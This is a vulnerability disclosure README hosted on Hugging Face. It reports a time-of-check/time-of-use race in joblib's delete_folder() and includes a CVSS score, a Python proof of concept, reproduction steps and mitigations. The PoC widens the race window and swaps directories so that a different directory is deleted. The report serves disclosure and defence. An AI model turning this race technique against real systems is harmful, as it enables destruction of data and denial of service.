|
Download README.md from root0x7/_jb_lb: direct link, hf CLI and curl.
- Browser
- Download file 4.15 kB
-
https://huggingface.co/root0x7/_jb_lb/resolve/main/README.md
- Command line
-
hf download hf://root0x7/_jb_lb/README.md
-
curl -L -H "Authorization: Bearer $HF_TOKEN" -o README.md https://huggingface.co/root0x7/_jb_lb/resolve/main/README.md
4.15 kB
| # Title | |
| Race Condition in `joblib.disk.delete_folder()` Allows Deletion of a Swapped Directory Path | |
| # Severity | |
| Medium | |
| # CVSS v3.1 | |
| CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H | |
| # Affected Component | |
| * `joblib.disk.delete_folder()` | |
| * `joblib.disk.rm_subdirs()` | |
| # Summary | |
| A race condition vulnerability exists in the temporary directory cleanup logic of Joblib. The `delete_folder()` function performs non-atomic path validation before recursively deleting directories with `shutil.rmtree()`. | |
| An attacker capable of modifying the target path concurrently can swap the validated directory with another directory before deletion occurs. This may result in unintended directory deletion. | |
| # Technical Details | |
| The vulnerable function follows this sequence: | |
| 1. Verify the target using `os.path.isdir(folder_path)` | |
| 2. Read the directory contents using `os.listdir(folder_path)` | |
| 3. Delete the directory using `shutil.rmtree(folder_path)` | |
| Because these operations are not atomic, an attacker can rename or replace the target directory between the validation and deletion phases. | |
| The issue is located in: | |
| ```python | |
| if os.path.isdir(folder_path): | |
| files = os.listdir(folder_path) | |
| shutil.rmtree(folder_path, ignore_errors=False, onerror=None) | |
| ``` | |
| This creates a classic Time-of-Check Time-of-Use (TOCTOU) race condition. | |
| # Impact | |
| A local attacker with filesystem access to the temporary directory hierarchy may be able to: | |
| * Cause unintended deletion of directories | |
| * Interfere with cleanup operations | |
| * Trigger denial of service conditions | |
| * Manipulate temporary resource handling | |
| Impact depends on the privileges of the affected process and the level of attacker control over the temporary directory structure. | |
| # Proof of Concept | |
| The following PoC demonstrates that a validated directory path can be swapped before deletion, causing a different directory to be removed. | |
| ```python | |
| #!/usr/bin/env python3 | |
| import os | |
| import tempfile | |
| import threading | |
| import time | |
| from pathlib import Path | |
| from joblib.disk import delete_folder | |
| import joblib.disk as disk | |
| def main(): | |
| with tempfile.TemporaryDirectory(prefix="joblib_poc_") as tmp: | |
| root = Path(tmp) | |
| checked = root / "checked" | |
| victim = root / "victim" | |
| checked_old = root / "checked_old" | |
| checked.mkdir() | |
| victim.mkdir() | |
| (checked / "marker_checked.txt").write_text("checked dir") | |
| (victim / "marker_victim.txt").write_text("victim dir") | |
| original_listdir = disk.os.listdir | |
| race_started = threading.Event() | |
| def delayed_listdir(path): | |
| race_started.set() | |
| time.sleep(0.25) | |
| return original_listdir(path) | |
| def attacker_swap(): | |
| race_started.wait(timeout=2) | |
| os.rename(checked, checked_old) | |
| os.rename(victim, checked) | |
| attacker = threading.Thread(target=attacker_swap, daemon=True) | |
| disk.os.listdir = delayed_listdir | |
| try: | |
| attacker.start() | |
| delete_folder(str(checked), allow_non_empty=True) | |
| finally: | |
| disk.os.listdir = original_listdir | |
| attacker.join(timeout=2) | |
| print("=== Result ===") | |
| print("checked exists :", checked.exists()) | |
| print("checked_old exists :", checked_old.exists()) | |
| print("victim exists :", victim.exists()) | |
| if checked_old.exists() and not checked.exists(): | |
| print("[+] Race demonstrated") | |
| if __name__ == "__main__": | |
| main() | |
| ``` | |
| # Reproduction | |
| 1. Install Joblib | |
| 2. Save the PoC as `poc.py` | |
| 3. Execute: | |
| ```bash | |
| python3 poc.py | |
| ``` | |
| # Expected Result | |
| Only the originally validated directory should be deleted. | |
| # Actual Result | |
| A different directory can be deleted after a path swap occurs during the race window. | |
| # Mitigation | |
| * Avoid non-atomic check-then-delete patterns | |
| * Resolve and validate paths immediately before deletion | |
| * Use inode or file descriptor based validation where possible | |
| * Add symlink and path consistency protections | |
| * Minimize race windows during cleanup operations | |
| # References | |
| * `joblib/disk.py` | |
| * `delete_folder()` | |
| * `rm_subdirs()` | |